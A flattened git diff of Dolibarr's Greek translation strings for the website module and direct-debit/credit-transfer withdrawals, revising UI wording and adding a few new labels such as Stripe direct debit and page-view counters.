+VirtualhostDesc=Το όνομα του εικονικού κεντρικού υπολογιστή ή του τομέα (Για παράδειγμα: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost= Χρήση με Apache / Nginx / ...
      Δημιουργήστε στον διακομιστή σας (Apache, Nginx, ...) ένα αποκλειστικό Virtual Host με το PHP ενεργοποιημένο και έναν ριζικό κατάλογο αρχείων στο
      %s ExampleToUseInApacheVirtualHostConfig=Παράδειγμα χρήσης στη ρύθμιση εικονικού κεντρικού υπολογιστή Apache: YouCanAlsoTestWithPHPS=Χρήση με ενσωματωμένο διακομιστή PHP
      Στο περιβάλλον ανάπτυξης, μπορεί να προτιμάτε να δοκιμάσετε τον ιστότοπο με τον ενσωματωμένο διακομιστή ιστού PHP (απαιτείται PHP 5.5) εκτελώντας
      php -S 0.0.0.0:8080 -t %s YouCanAlsoDeployToAnotherWHP= Δημιουργήστε τον ιστότοπο σας με έναν άλλο πάροχο φιλοξενίας Dolibarr
      Εάν δεν διαθέτετε διακομιστή ιστού όπως ο Apache ή ο NGinx διαθέσιμο στο διαδίκτυο, μπορείτε να εξαγάγετε και να εισαγάγετε τον ιστότοπο σας από ένα πάροχο Dolibarr σε άλλο πάροχο Dolibarr που παρέχει πλήρη ενσωμάτωση με την ενότητα Ιστοσελίδας. Μπορείτε να βρείτε μια λίστα με παρόχους φιλοξενίας Dolibarr στο https://saas.dolibarr.org -CheckVirtualHostPerms=Ελέγξτε επίσης ότι ο χρήστης virtual host (για παράδειγμα www-data) έχει %s δικαιώματα σε αρχεία στο
      %s +CheckVirtualHostPerms=Ελέγξτε επίσης ότι ο χρήστης εικονικού κεντρικού υπολογιστή (για παράδειγμα www-data) έχει %s δικαιώματα σε αρχεία στο
      %s ReadPerm=Ανάγνωση -WritePerm=Γράφω +WritePerm=Εγγραφή TestDeployOnWeb=Δοκιμή / ανάπτυξη στο διαδίκτυο -PreviewSiteServedByWebServer=Προεπισκόπηση %s σε μια νέα καρτέλα.

      Το %s θα εξυπηρετηθεί από έναν εξωτερικό διακομιστή ιστού (όπως Apache, Nginx, IIS). Πρέπει να εγκαταστήσετε και να εγκαταστήσετε αυτόν τον εξυπηρετητή πριν να τονίσετε στον κατάλογο:
      %s
      URL που εξυπηρετείται από εξωτερικό διακομιστή:
      %s +PreviewSiteServedByWebServer= Προεπισκόπηση σε μια νέα καρτέλα.

      Ο %s θα εξυπηρετείται από έναν εξωτερικό διακομιστή ιστού (όπως Apache, Nginx, IIS). Πρέπει να εγκαταστήσετε και να εγκαταστήσετε αυτόν τον εξυπηρετητή πριν ανακατευθύνετε σε αυτόν τον κατάλογο:
      %s
      URL που εξυπηρετείται από εξωτερικό διακομιστή:
      %s PreviewSiteServedByDolibarr= Προεπισκόπηση %s σε νέα καρτέλα.

      Ο %s θα εξυπηρετείται από τον διακομιστή Dolibarr, επομένως δεν χρειάζεται επιπλέον διακομιστή ιστού (όπως Apache, Nginx, IIS) για να εγκατασταθεί.
      Το άβολο είναι ότι οι διευθύνσεις URL των σελίδων δεν είναι φιλικές προς το χρήστη και ξεκινούν με τη διαδρομή του Dolibarr σας.
      URL που εξυπηρετούνται από Dolibarr:
      %s

      Για να χρησιμοποιήσετε το δικό σας web server για την εξυπηρέτηση αυτής της ιστοσελίδας, δημιουργήστε ενα virtual host που ανακατευθύνει στον κατάλογο
      %s
      στη συνέχεια, πληκτρολογήστε το όνομα του εικονικού διακομιστή στις ιδιότητες αυτού του ιστότοπου και κάντε κλικ στον σύνδεσμο "Δοκιμή/Ανάπτυξη στον Ιστό". VirtualHostUrlNotDefined=Η διεύθυνση URL του εικονικού κεντρικού υπολογιστή που εξυπηρετείται από εξωτερικό διακομιστή ιστού δεν έχει οριστεί NoPageYet=Δεν υπάρχουν ακόμη σελίδες -YouCanCreatePageOrImportTemplate=Μπορείτε να δημιουργήσετε μια νέα σελίδα ή να εισαγάγετε ένα πλήρες πρότυπο ιστότοπου +YouCanCreatePageOrImportTemplate=Μπορείτε να δημιουργήσετε μια νέα σελίδα ή να εισάγετε ένα πλήρες πρότυπο ιστότοπου SyntaxHelp=Βοήθεια για συγκεκριμένες συμβουλές σύνταξης -YouCanEditHtmlSourceckeditor=Μπορείτε να επεξεργαστείτε τον πηγαίο κώδικα HTML χρησιμοποιώντας το κουμπί "Source" στο πρόγραμμα επεξεργασίας. +YouCanEditHtmlSourceckeditor=Μπορείτε να επεξεργαστείτε τον πηγαίο κώδικα HTML χρησιμοποιώντας το κουμπί "Πηγή" στο πρόγραμμα επεξεργασίας. YouCanEditHtmlSource=
      Μπορείτε να συμπεριλάβετε κώδικα PHP σε αυτήν την πηγή χρησιμοποιώντας ετικέτες <?php ?>. Οι ακόλουθες καθολικές μεταβλητές είναι διαθέσιμες: $conf, $db, $mysoc, $user, $website, $websitepage, $weblangs, $pagelangs.

      Μπορείτε επίσης να συμπεριλάβετε το περιεχόμενο μιας άλλης σελίδας / Container με την ακόλουθη σύνταξη:
      <?php includeContainer('alias_of_container_to_include'); ?>

      Μπορείτε να κάνετε ανακατεύθυνση σε άλλη σελίδα / Container με την ακόλουθη σύνταξη (Σημείωση: μην κανετε output περιεχομένου πριν από μια ανακατεύθυνση):
      < php redirectToContainer ( «alias_of_container_to_redirect_to»)? ; >

      Για να προσθέσετε ένα σύνδεσμο σε μια άλλη σελίδα, χρησιμοποιήστε τη σύνταξη:
      <a href = «alias_of_page_to_link_to.php» >mylink<a>

      Για να συμπεριλάβετεένα σύνδεσμο μεταφορτωσης(download) ένα αρχείο που είναι αποθηκευμένο στον φάκελο documents , χρησιμοποιήστε το document.phpwrapper:
      παράδειγμα, για ένα αρχείο που βρίσκεται στο documents/ECM (πρέπει να είστε συνδεδεμένοι), η σύνταξη είναι:
      <a href="/document.php?modulepart=ecm&file=[relative_dir/]filename.ext">
      για ένα αρχείο που βρίσκεται στο documents/media (ανοιχτός κατάλογος με δημόσια πρόσβαση), η σύνταξη είναι:
      <a href="/document.php?modulepart=media&file=[relative_dir/]filename.ext">
      Για ένα διαμοιραζόμενο αρχείο με έναν σύνδεσμο(ανοικτή πρόσβαση χρησιμοποιώντας το sharing hash key του αρχείου), η σύνταξη είναι:
      <a href="/document.php?hashp=publicsharekeyoffile">

      για να περιλαμβάνει μια εικόνααποθηκευμενη στον φακελοdocuments, χρησιμοποιήστε τηνviewimage.php wrapper:
      Παράδειγμα, για μια εικόνα στο documents/media (ανοιχτός κατάλογος με δημόσια πρόσβαση), η σύνταξη είναι:
      <img src="/viewimage.php?modulepart=medias&file=[relative_dir/]filename.ext">
      #YouCanEditHtmlSource2=
      To include a image shared publicaly, use the viewimage.php wrapper:
      Example with a shared key 123456789, syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      YouCanEditHtmlSource2=Για τον διαμοιρασμό εικόνας με ένα σύνδεσμο (δώσε πρόσβαση χρησιμοποιώντας το sharing hash key του αρχείου), η σύνταξη είναι:
      <img src="/viewimage.php?hashp=12345679012...">
      YouCanEditHtmlSourceMore=
      Περισσότερα παραδείγματα HTML ή δυναμικού κώδικα είναι διαθέσιμα στο τεκμηρίωση του wiki
      . -ClonePage=Σελίδα κλωνοποίησης / κοντέινερ -CloneSite=Κλωνήστε τον ιστότοπο +ClonePage=Κλωνοποίηση σελίδας/κοντέινερ +CloneSite=Κλωνοποίηση ιστοσελίδας SiteAdded=Προστέθηκε ιστότοπος -ConfirmClonePage=Εισαγάγετε τον κωδικό / ψευδώνυμο της νέας σελίδας και αν πρόκειται για μετάφραση της κλωνοποιημένης σελίδας. +ConfirmClonePage=Παρακαλώ εισάγετε τον κωδικό / ψευδώνυμο της νέας σελίδας και αν πρόκειται για μετάφραση της κλωνοποιημένης σελίδας. PageIsANewTranslation=Η νέα σελίδα είναι μετάφραση της τρέχουσας σελίδας; -LanguageMustNotBeSameThanClonedPage=Κλωνίζετε μια σελίδα ως μετάφραση. Η γλώσσα της νέας σελίδας πρέπει να είναι διαφορετική από τη γλώσσα της σελίδας πηγής. -ParentPageId=Αναγνωριστικό σελίδας γονέων +LanguageMustNotBeSameThanClonedPage=Κλωνοποιείτε μια σελίδα ως μετάφραση. Η γλώσσα της νέας σελίδας πρέπει να είναι διαφορετική από τη γλώσσα της αρχικής σελίδας. +ParentPageId=Αναγνωριστικό γονικής σελίδας WebsiteId=Αναγνωριστικό ιστοτόπου -CreateByFetchingExternalPage=Δημιουργία σελίδας / κοντέινερ με ανάκτηση σελίδας από εξωτερική διεύθυνση URL ... -OrEnterPageInfoManually=Ή δημιουργήστε σελίδα από το μηδέν ή από ένα πρότυπο σελίδας ... +CreateByFetchingExternalPage=Δημιουργία σελίδας/contenair με ανάκτηση σελίδας από εξωτερική διεύθυνση URL ... +OrEnterPageInfoManually=Ή δημιουργήστε σελίδα από την αρχή ή από ένα πρότυπο σελίδας ... FetchAndCreate=Λήψη και Δημιουργία ExportSite=Εξαγωγή ιστότοπου ImportSite=Εισαγωγή προτύπου ιστότοπου @@ -81,63 +84,63 @@ WebsiteAccount=Λογαριασμός ιστότοπου WebsiteAccounts=Λογαριασμοί ιστοτόπων AddWebsiteAccount=Δημιουργία λογαριασμού ιστότοπου BackToListForThirdParty=Επιστροφή στη λίστα για το τρίτο μέρος -DisableSiteFirst=Απενεργοποιήστε πρώτα τον ιστότοπο -MyContainerTitle=Ο τίτλος ιστότοπού μου -AnotherContainer=Αυτός είναι ο τρόπος με τον οποίο μπορείτε να συμπεριλάβετε περιεχόμενο μιας άλλης σελίδας / κοντέινερ (ενδεχομένως να έχετε ένα σφάλμα αν ενεργοποιήσετε τον δυναμικό κώδικα επειδή ο ενσωματωμένος υποελεγχος δεν υπάρχει) +DisableSiteFirst=Απενεργοποιήστε τον ιστότοπο πρώτα +MyContainerTitle=Ο τίτλος του ιστότοπου μου +AnotherContainer=Αυτός είναι ο τρόπος για να συμπεριλάβετε περιεχόμενο μιας άλλης σελίδας/contenair (ενδεχομένως να έχετε ένα σφάλμα αν ενεργοποιήσετε τον δυναμικό κώδικα επειδή το ενσωματωμένο subcontainer μπορεί να μην υπάρχει) SorryWebsiteIsCurrentlyOffLine=Λυπούμαστε, αυτός ο ιστότοπος είναι προς το παρόν εκτός σύνδεσης. Παρακαλώ επιστρέψτε αργότερα... WEBSITE_USE_WEBSITE_ACCOUNTS=Ενεργοποιήστε τον πίνακα λογαριασμού web site -WEBSITE_USE_WEBSITE_ACCOUNTSTooltip=Ενεργοποιήστε τον πίνακα για να αποθηκεύσετε λογαριασμούς ιστότοπων (login / pass) για κάθε ιστότοπο / τρίτο μέρος +WEBSITE_USE_WEBSITE_ACCOUNTSTooltip=Ενεργοποιήστε τον πίνακα για να αποθηκεύετε λογαριασμούς ιστότοπων (login / pass) για κάθε ιστότοπο / τρίτο μέρος YouMustDefineTheHomePage=Πρέπει πρώτα να ορίσετε την Αρχική σελίδα -OnlyEditionOfSourceForGrabbedContentFuture=Προειδοποίηση: Η δημιουργία ιστοσελίδας με εισαγωγή εξωτερικής ιστοσελίδας προορίζεται για έμπειρους χρήστες. Ανάλογα με την πολυπλοκότητα της σελίδας προέλευσης, το αποτέλεσμα της εισαγωγής ενδέχεται να διαφέρει από το πρωτότυπο. Επίσης, εάν η σελίδα προέλευσης χρησιμοποιεί κοινά στυλ CSS ή javascript σε διένεξη, ενδέχεται να σπάσει την εμφάνιση ή τις δυνατότητες του προγράμματος επεξεργασίας ιστότοπου όταν εργάζεστε σε αυτήν τη σελίδα. Αυτή η μέθοδος είναι ένας πιο γρήγορος τρόπος για να δημιουργήσετε μια σελίδα, αλλά συνιστάται να δημιουργήσετε τη νέα σας σελίδα από το μηδέν ή από ένα προτεινόμενο πρότυπο σελίδας.
      Σημειώστε επίσης ότι ο ενσωματωμένος επεξεργαστής ενδέχεται να μην λειτουργεί σωστά όταν χρησιμοποιείται σε μια αρπαγή εξωτερική σελίδα. +OnlyEditionOfSourceForGrabbedContentFuture=Προειδοποίηση: Η δημιουργία ιστοσελίδας με εισαγωγή εξωτερικής ιστοσελίδας αφορά έμπειρους χρήστες. Ανάλογα με την πολυπλοκότητα της σελίδας προέλευσης, το αποτέλεσμα της εισαγωγής ενδέχεται να διαφέρει από το πρωτότυπο. Επίσης, εάν η σελίδα προέλευσης χρησιμοποιεί κοινά στυλ CSS ή javascript σε διένεξη, ενδέχεται να σπάσει την εμφάνιση ή τις δυνατότητες του προγράμματος επεξεργασίας ιστότοπου όταν εργάζεστε σε αυτήν τη σελίδα. Αυτή η μέθοδος είναι ένας πιο γρήγορος τρόπος για να δημιουργήσετε μια σελίδα, αλλά συνιστάται να δημιουργήσετε τη νέα σας σελίδα από το μηδέν ή από ένα προτεινόμενο πρότυπο σελίδας.
      Σημειώστε επίσης ότι ο ενσωματωμένος επεξεργαστής ενδέχεται να μην λειτουργεί σωστά όταν χρησιμοποιείται με κώδικα μιας εξωτερικής σελίδας. OnlyEditionOfSourceForGrabbedContent=Μόνο έκδοση πηγής HTML είναι δυνατή όταν το περιεχόμενο έχει ληφθεί από έναν εξωτερικό ιστότοπο -GrabImagesInto=Πιάσε επίσης τις εικόνες που βρέθηκαν στο css και τη σελίδα. +GrabImagesInto=Λήψη και των εικόνων που βρέθηκαν στο css και τη σελίδα. ImagesShouldBeSavedInto=Οι εικόνες πρέπει να αποθηκεύονται στον κατάλογο -WebsiteRootOfImages=Ο κατάλογος root για εικόνες ιστότοπων +WebsiteRootOfImages=Κατάλογος εικόνων του ιστότοπου SubdirOfPage=Υπο-κατάλογος αφιερωμένος στη σελίδα -AliasPageAlreadyExists=Η σελίδα αλλοιώσεων %s υπάρχει ήδη +AliasPageAlreadyExists=Η σελίδα ψευδώνυμου %s υπάρχει ήδη CorporateHomePage=Αρχική σελίδα της εταιρείας EmptyPage=Κενή σελίδα ExternalURLMustStartWithHttp=Η εξωτερική διεύθυνση URL πρέπει να ξεκινά με http: // ή https: // -ZipOfWebsitePackageToImport=Μεταφορτώστε το αρχείο Zip του πακέτου πρότυπου ιστότοπου +ZipOfWebsitePackageToImport=Ανεβάστε το αρχείο Zip του πακέτου προτύπων ιστότοπου ZipOfWebsitePackageToLoad=ή Επιλέξτε ένα διαθέσιμο πακέτο πρότυπου ιστότοπου ShowSubcontainers=Εμφάνιση δυναμικού περιεχομένου InternalURLOfPage=Εσωτερική διεύθυνση URL της σελίδας -ThisPageIsTranslationOf=Αυτή η σελίδα / δοχείο είναι μια μετάφραση του +ThisPageIsTranslationOf=Αυτή η Σελίδα/Contenair είναι μια μετάφραση του ThisPageHasTranslationPages=Αυτή η σελίδα / κοντέινερ έχει μετάφραση NoWebSiteCreateOneFirst=Δεν έχει δημιουργηθεί ακόμα ιστότοπος. Δημιουργήστε ένα πρώτα. -GoTo=Παω σε -DynamicPHPCodeContainsAForbiddenInstruction=Μπορείτε να προσθέσετε δυναμικό κώδικα PHP που περιέχει την εντολή PHP ' %s ' που είναι απαγορευμένη από προεπιλογή ως δυναμικό περιεχόμενο (δείτε τις κρυφές επιλογές WEBSITE_PHP_ALLOW_xxx για να αυξήσετε τη λίστα επιτρεπόμενων εντολών). -NotAllowedToAddDynamicContent=Δεν έχετε δικαίωμα να προσθέσετε ή να επεξεργαστείτε δυναμικό περιεχόμενο PHP σε ιστότοπους. Ζητήστε άδεια ή απλά να διατηρήσετε τον κώδικα σε ετικέτες php χωρίς τροποποίηση. +GoTo=Μετάβαση σε +DynamicPHPCodeContainsAForbiddenInstruction=Προσθέσατε δυναμικό κώδικα PHP που περιέχει την εντολή PHP ' %s ' αυτό απαγορεύεται ως δυναμικό περιεχόμενο (δείτε κρυφές επιλογές WEBSITE_PHPx για να συμπληρώσετε την λίστα επιτρεπτών εντολών ALLOW_x). +NotAllowedToAddDynamicContent=Δεν έχετε δικαίωμα να προσθέσετε ή να επεξεργαστείτε δυναμικό περιεχόμενο PHP σε ιστότοπους. Ζητήστε άδεια ή απλά να διατηρήσετε τον κώδικα σε php tags χωρίς τροποποίηση. ReplaceWebsiteContent=Αναζήτηση ή Αντικατάσταση περιεχομένου ιστότοπου -DeleteAlsoJs=Διαγράψτε επίσης όλα τα αρχεία javascript ειδικά για αυτόν τον ιστότοπο; -DeleteAlsoMedias=Διαγράψτε επίσης όλα τα αρχεία μέσων που αφορούν συγκεκριμένα αυτόν τον ιστότοπο; +DeleteAlsoJs=Διαγράψτε επίσης όλα τα αρχεία javascript αυτού του ιστότοπου; +DeleteAlsoMedias=Διαγράψτε επίσης όλα τα αρχεία πολυμέσων που αφορούν συγκεκριμένα αυτόν τον ιστότοπο; MyWebsitePages=Οι σελίδες του ιστότοπού μου -SearchReplaceInto=Αναζήτηση | Αντικαταστήστε το +SearchReplaceInto=Αναζήτηση | Αντικατάσταση ReplaceString=Νέα συμβολοσειρά -CSSContentTooltipHelp=Εισάγετε εδώ το περιεχόμενο CSS. Για να αποφύγετε οποιαδήποτε σύγκρουση με το CSS της εφαρμογής, βεβαιωθείτε ότι έχετε προκαταλάβει όλες τις δηλώσεις με την κλάση .bodywebsite. Για παράδειγμα:

      #mycssselector, input.myclass: hover {...}
      πρέπει να είναι
      .bodywebsite #mycssselector, .website input.myclass: hover {...}

      Σημείωση: Εάν έχετε ένα μεγάλο αρχείο χωρίς αυτό το πρόθεμα, μπορείτε να χρησιμοποιήσετε το 'lessc' για να το μετατρέψετε για να προσθέσετε παντού το πρόθεμα .bodywebsite. -LinkAndScriptsHereAreNotLoadedInEditor=Προειδοποίηση: Αυτό το περιεχόμενο εξάγεται μόνο όταν πρόσβαση σε ιστότοπο από διακομιστή. Δεν χρησιμοποιείται στη λειτουργία Επεξεργασίας, οπότε αν χρειαστεί να φορτώσετε τα αρχεία javascript και στη λειτουργία επεξεργασίας, προσθέστε στη σελίδα σας την ετικέτα 'script src = ...'. +CSSContentTooltipHelp=Εισάγετε εδώ περιεχόμενο CSS. Για να αποφύγετε οποιαδήποτε διένεξη με το CSS της εφαρμογής, φροντίστε να προσθεσετε στην αρχη όλωνς των δηλώσεων την κλάση .bodywebsite. Για παράδειγμα το:

      #mycssselector, input.myclass:hover { ... }
      πρέπει να γίνει
      .bodywebsite #mycssselector, .bodywebsite input.myclass:hover { ... }

      Σημείωση: Αν έχετε ένα μεγάλο αρχείο χωρίς αυτό το πρόθεμα, μπορείτε να χρησιμοποιήσετε το 'lessc' για να το μετατρέψετε ώστε να προσαρτήσετε το πρόθεμα .bodywebsite παντού. +LinkAndScriptsHereAreNotLoadedInEditor=Προειδοποίηση: Αυτό το περιεχόμενο εμφανίζεται μόνο όταν γίνεται πρόσβαση στον ιστότοπο από διακομιστή. Δεν χρησιμοποιείται στη λειτουργία επεξεργασίας, οπότε αν χρειάζεται να φορτώσετε αρχεία javascript και σε λειτουργία επεξεργασίας, απλώς προσθέστε την ετικέτα σας 'script src=...' στη σελίδα. Dynamiccontent=Δείγμα μιας σελίδας με δυναμικό περιεχόμενο ImportSite=Εισαγωγή προτύπου ιστότοπου -EditInLineOnOff=Η λειτουργία 'Edit inline' είναι %s -ShowSubContainersOnOff=Η κατάσταση εκτέλεσης 'δυναμικού περιεχομένου' είναι %s -GlobalCSSorJS=Παγκόσμιο αρχείο CSS / JS / Header της ιστοσελίδας +EditInLineOnOff=Η λειτουργία «Γρήγορης επεξεργασίας» είναι %s +ShowSubContainersOnOff=Η λειτουργία εκτέλεσης του «δυναμικού περιεχομένου» είναι %s +GlobalCSSorJS=Καθολικό αρχείο CSS/JS/Header του ιστότοπου BackToHomePage=Επιστροφή στην αρχική σελίδα... -TranslationLinks=Μεταφραστικές συνδέσεις +TranslationLinks=Σύνδεσμοι μετάφρασης YouTryToAccessToAFileThatIsNotAWebsitePage=Προσπαθείτε να αποκτήσετε πρόσβαση σε μια σελίδα που δεν είναι διαθέσιμη.
      (ref=%s, type=%s, status=%s) UseTextBetween5And70Chars=Για καλές πρακτικές SEO, χρησιμοποιήστε ένα κείμενο μεταξύ 5 και 70 χαρακτήρων MainLanguage=Κύρια γλώσσα OtherLanguages=Άλλες γλώσσες UseManifest=Παρέχετε ένα αρχείο manifest.json -PublicAuthorAlias=Δημόσιο συντάκτης ψευδώνυμο -AvailableLanguagesAreDefinedIntoWebsiteProperties=Οι διαθέσιμες γλώσσες ορίζονται σε ιδιότητες ιστότοπου -ReplacementDoneInXPages=Η αντικατάσταση έγινε σε σελίδες ή κοντέινερ %s +PublicAuthorAlias=Ψευδώνυμο δημόσιου συντάκτη +AvailableLanguagesAreDefinedIntoWebsiteProperties=Οι διαθέσιμες γλώσσες ορίζονται στις ιδιότητες του ιστότοπου +ReplacementDoneInXPages=Η αντικατάσταση έγινε σε %s Σελίδες ή Contenair RSSFeed=RSS Feed RSSFeedDesc=Μπορείτε να λάβετε μια ροή RSS με πιο πρόσφατα άρθρα με τον τύπο 'blogpost' χρησιμοποιώντας αυτήν τη διεύθυνση URL PagesRegenerated=%s σελίδα(ες)/κοντέινερ(ς) αναδημιουργήθηκαν RegenerateWebsiteContent=Αναδημιουργήστε αρχεία κρυφής μνήμης ιστότοπου AllowedInFrames=Επιτρεπόμενα σε πλαίσιο DefineListOfAltLanguagesInWebsiteProperties=Καθορίστε τη λίστα όλων των διαθέσιμων γλωσσών στις ιδιότητες του ιστότοπου. -GenerateSitemaps=Δημιουργία αρχείου sitemap του ιστότοπου +GenerateSitemaps=Δημιουργία αρχείου ιστότοπου sitemap.xml ConfirmGenerateSitemaps=Εάν επιβεβαιώσετε, θα διαγράψετε το υπάρχον αρχείο sitemap... ConfirmSitemapsCreation=Επιβεβαιώστε τη δημιουργία sitemap SitemapGenerated=Δημιουργήθηκε το αρχείο sitemap %s @@ -145,3 +148,12 @@ ImportFavicon=Favicon ErrorFaviconType=Το Favicon πρέπει να είναι png ErrorFaviconSize=Το Favicon πρέπει να έχει μέγεθος 16x16, 32x32 ή 64x64 FaviconTooltip=Μεταφορτώστε μια εικόνα που πρέπει να είναι png (16x16, 32x32 ή 64x64) +NextContainer=Επόμενη σελίδα/κοντέινερ +PreviousContainer=Προηγούμενη σελίδα/κοντέινερ +WebsiteMustBeDisabled=Ο ιστότοπος πρέπει να είναι σε κατάσταση "%s" +WebpageMustBeDisabled=Η ιστοσελίδα πρέπει να είναι σε κατάσταση "%s" +SetWebsiteOnlineBefore=Όταν ο ιστότοπος είναι εκτός σύνδεσης, όλες οι σελίδες είναι εκτός σύνδεσης. Αλλάξτε την κατάσταση του ιστότοπου πρώτα. +Booking=Κράτηση +Reservation=Κράτηση +PagesViewedPreviousMonth=Σελίδες που προβλήθηκαν (προηγούμενος μήνας) +PagesViewedTotal=Σελίδες που προβλήθηκαν (σύνολο) diff --git a/htdocs/langs/el_GR/withdrawals.lang b/htdocs/langs/el_GR/withdrawals.lang index 670fd54b818..1148a3e2f71 100644 --- a/htdocs/langs/el_GR/withdrawals.lang +++ b/htdocs/langs/el_GR/withdrawals.lang @@ -33,7 +33,7 @@ InvoiceWaitingPaymentByBankTransfer=Τιμολόγιο σε αναμονή γι AmountToWithdraw=Ποσό για ανάληψη AmountToTransfer=Ποσό προς μεταφορά NoInvoiceToWithdraw=Δεν υπάρχει ανοιχτό τιμολόγιο για το '%s' σε αναμονή. Μεταβείτε στην καρτέλα '%s' στην κάρτα τιμολογίου για να υποβάλετε ένα αίτημα. -NoSupplierInvoiceToWithdraw=Δεν υπάρχει τιμολόγιο προμηθευτή με ανοιχτά «Άμεσα αιτήματα πίστωσης» σε αναμονή. Μεταβείτε στην καρτέλα '%s' στην κάρτα τιμολογίου για να υποβάλετε ένα αίτημα. +NoSupplierInvoiceToWithdraw=Κανένα τιμολόγιο προμηθευτή με ανοιχτό '%s' δεν ειναι σε αναμονή. Μεταβείτε στην καρτέλα '%s' στην καρτέλα τιμολογίου για να υποβάλετε ένα αίτημα. ResponsibleUser=Υπεύθυνος χρήστης WithdrawalsSetup=Ρύθμιση πληρωμής άμεσης χρέωσης CreditTransferSetup=Ρύθμιση μεταφοράς πίστωσης @@ -42,6 +42,7 @@ CreditTransferStatistics=Στατιστικά στοιχεία μεταφορά Rejects=Απορρίψεις LastWithdrawalReceipt=Τελευταίες %s εισπράξεις άμεσης χρέωσης MakeWithdrawRequest=Υποβάλετε αίτημα πληρωμής με άμεση χρέωση +MakeWithdrawRequestStripe=Υποβάλετε αίτημα πληρωμής άμεσης χρέωσης μέσω Stripe MakeBankTransferOrder=Υποβάλετε αίτημα μεταφοράς πίστωσης WithdrawRequestsDone=%s αιτήματα πληρωμής άμεσης χρέωσης καταγράφηκαν BankTransferRequestsDone=%s αιτήματα μεταφοράς πίστωσης καταγράφηκαν @@ -50,7 +51,7 @@ NoInvoiceCouldBeWithdrawed=Κανένα τιμολόγιο δεν χρεώθηκ WithdrawalCantBeCreditedTwice=Αυτή η απόδειξη ανάληψης έχει ήδη επισημανθεί ως πιστωμένη. Αυτό δεν μπορεί να γίνει δύο φορές, καθώς αυτό ενδέχεται να δημιουργήσει διπλές πληρωμές και εγγραφές τραπεζών. ClassCredited=Ταξινόμηση ως πιστωμένη ClassDebited=Ταξινόμηση ως χρεωμένη -ClassCreditedConfirm=Είστε σίγουροι ότι θέλετε να χαρακτηρίσετε αυτήν την απόδειξη ανάληψης ως πιστωμένη στον τραπεζικό σας λογαριασμό; +ClassCreditedConfirm=Είστε σίγουροι ότι θέλετε να Ταξινομήσετε αυτήν την απόδειξη ανάληψης ως πιστωμένη στον τραπεζικό σας λογαριασμό; TransData=Ημερομηνία μετάδοσης TransMetod=Μέθοδος μετάδοσης Send=Αποστολή @@ -59,11 +60,11 @@ StandingOrderReject=Έκδοση απόρριψης WithdrawsRefused=Η άμεση χρέωση απορρίφθηκε WithdrawalRefused=Απόσυρση απορρίφθηκε CreditTransfersRefused=Οι μεταφορές πιστώσης απορρίφθηκαν -WithdrawalRefusedConfirm=Είστε σίγουροι ότι θέλετε να εισάγετε μια απόρριψη αναμονής για την κοινωνία +WithdrawalRefusedConfirm=Είστε σίγουροι ότι θέλετε να εισάγετε μια απόρριψη ανάληψης για την εταιρεία RefusedData=Ημερομηνία απόρριψης RefusedReason=Λόγος απόρριψης -RefusedInvoicing=Χρέωσης για την απόρριψη -NoInvoiceRefused=Μην φορτίζετε την απόρριψη +RefusedInvoicing=Χρέωση της απόρριψης +NoInvoiceRefused=Μην χρεώσετε την απόρριψη InvoiceRefused=Τιμολόγιο απορρίφθηκε (Φορτίστε την απόρριψη στον πελάτη) StatusDebitCredit=Κατάσταση χρέωσης / πίστωσης StatusWaiting=Αναμονή @@ -100,8 +101,11 @@ CreditDate=Πίστωση την WithdrawalFileNotCapable=Αδύνατο να δημιουργηθεί το αρχείο απόδειξης ανάληψης για τη χώρα σας %s (η χώρα σας δεν υποστηρίζεται) ShowWithdraw=Εμφάνιση εντολής άμεσης χρέωσης IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Ωστόσο, εάν το τιμολόγιο έχει τουλάχιστον μία εντολή πληρωμής άμεσης χρέωσης που δεν έχει ακόμη υποβληθεί σε επεξεργασία, δεν θα οριστεί ως πληρωμένο για να επιτραπεί η διαχείριση προηγούμενη ανάληψης. -DoStandingOrdersBeforePayments=Αυτή η καρτέλα σάς επιτρέπει να ζητήσετε εντολή πληρωμής άμεσης χρέωσης. Μόλις τελειώσετε, μεταβείτε στο μενού Τράπεζα->Πληρωμή με άμεση χρέωση για να δημιουργήσετε και να διαχειριστείτε την εντολή άμεσης χρέωσης. Όταν η εντολή άμεσης χρέωσης κλείσει, η πληρωμή στα τιμολόγια θα καταγραφεί αυτόματα και τα τιμολόγια κλείνουν εάν το υπόλοιπο προς πληρωμή είναι μηδενικό. -DoCreditTransferBeforePayments=Αυτή η καρτέλα σάς επιτρέπει να ζητήσετε εντολή μεταφοράς πίστωσης. Μόλις τελειώσετε, μεταβείτε στο μενού Τράπεζα->Πληρωμή με μεταφορά πίστωσης για να δημιουργήσετε και να διαχειριστείτε την εντολή μεταφοράς πίστωσης. Όταν η εντολή μεταφοράς πίστωσης κλείσει, η πληρωμή στα τιμολόγια θα καταγραφεί αυτόματα και τα τιμολόγια κλείνουν εάν το υπόλοιπο προς πληρωμή είναι μηδενικό. +DoStandingOrdersBeforePayments=Αυτή η καρτέλα σάς επιτρέπει να ζητήσετε εντολή πληρωμής με πάγια εντολή. Μόλις τελειώσετε, μπορείτε να μεταβείτε στο μενού "Τράπεζα->Πληρωμή με πάγια εντολή" για να δημιουργήσετε και να διαχειριστείτε ένα αρχείο εντολής άμεσης χρέωσης. +DoStandingOrdersBeforePayments2=Μπορείτε επίσης να στείλετε ένα αίτημα απευθείας σε έναν επεξεργαστή πληρωμών SEPA όπως το Stripe, ... +DoStandingOrdersBeforePayments3=Όταν η εντολή άμεσης χρέωσης κλείσει, η πληρωμή στα τιμολόγια θα καταγραφεί αυτόματα και τα τιμολόγια κλείνουν εάν το υπόλοιπο προς πληρωμή είναι μηδενικό. +DoCreditTransferBeforePayments=Σε αυτή η καρτέλα σάς δίνεται η δυνατότητα να ζητήσετε εντολή μεταφοράς πίστωσης. Μόλις τελειώσετε, μεταβείτε στο μενού "Τράπεζα->Πληρωμή με μεταφορά πίστωσης" για να δημιουργήσετε και να διαχειριστείτε ένα αρχείο εντολής μεταφοράς πίστωσης. +DoCreditTransferBeforePayments3=Όταν η εντολή μεταφοράς πίστωσης κλείσει, η πληρωμή στα τιμολόγια θα καταγραφεί αυτόματα και τα τιμολόγια κλείνουν εάν το υπόλοιπο προς πληρωμή είναι μηδενικό. WithdrawalFile=Αρχείο χρεωστικής εντολής CreditTransferFile=Αρχείο μεταφοράς πίστωσης SetToStatusSent=Ορίστε σε κατάσταση "Αρχείο εστάλη" @@ -109,22 +113,22 @@ ThisWillAlsoAddPaymentOnInvoice=Αυτό θα καταγράψει επίσης StatisticsByLineStatus=Στατιστικά 